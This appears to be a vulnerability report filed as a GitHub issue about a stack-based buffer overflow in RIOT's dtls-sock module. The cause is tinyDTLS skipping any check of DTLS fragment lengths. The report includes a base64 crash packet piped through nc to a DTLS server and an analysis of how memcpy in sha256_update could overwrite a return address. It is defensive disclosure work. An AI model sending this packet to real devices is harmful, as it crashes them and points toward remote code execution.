The RIOT module dtls-sock is potentially vulnerable to a stack-based buffer overflow. The root cause of this issue is that the current tinyDTLS version, used by RIOT, does not perform any sanity checks on the DTLS fragment length.

This has been fixed on the tinydtls develop branch [1], the tinyDTLS master branch doesn't include this fix yet. Neither does the tinyDTLS version used by RIOT.

Maybe the aforementioned fix should be cherry-picked to the tinyDTLS master branch (CC: @obgm)?

Steps to reproduce

On native:

$ make -C examples/dtls-sock/ all-valgrind
$ make -C examples/dtls-sock/ term-valgrind
> dtlss start

In a different terminal:

echo 'Fv7///wAAABAEPoA8QH8ABD6ABD87PIKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK/Ozy/BMA/A==' | \
	base64 -d | nc -u '<DTLS Server IP Address>' 20220

This package should crash the RIOT process with a SIGSEGV as it contains a large (invalid) DTLS fragment size which causes an invalid memory access.

Impact

I did not write a POC but I consider this to be an exploitable stack-based buffer overflow. The invalid fragment size is passed to sha256_update. This function contains various memcpy invocations with the attacker controlled len parameter. For example:

The buffer this function copies data to is the buf member from the
sha256_context_t:

The sha256_context_t is embedded in the tinyDTLS type
dtls_hmac_context_t as the data member:

https://github.com/eclipse/tinydtls/blob/865ca387cd9d05e52943e5641ad0eefafef218a3/hmac.h#L104

dtls_hash_ctx is a typedef for sha256_context_t:

https://github.com/eclipse/tinydtls/blob/865ca387cd9d05e52943e5641ad0eefafef218a3/hmac.h#L30

The dtls_hmac_context_t type is located on the stack of the
dtls_create_cookie tinyDTLS function:

https://github.com/eclipse/tinydtls/blob/865ca387cd9d05e52943e5641ad0eefafef218a3/dtls.c#L364

In the worst case this potentially allows an attacker to overwrite the return address of the dtls_create_cookie function or some other stack frame using the memcpy invocation from sha256_update. But as I said before I didn't write a POC.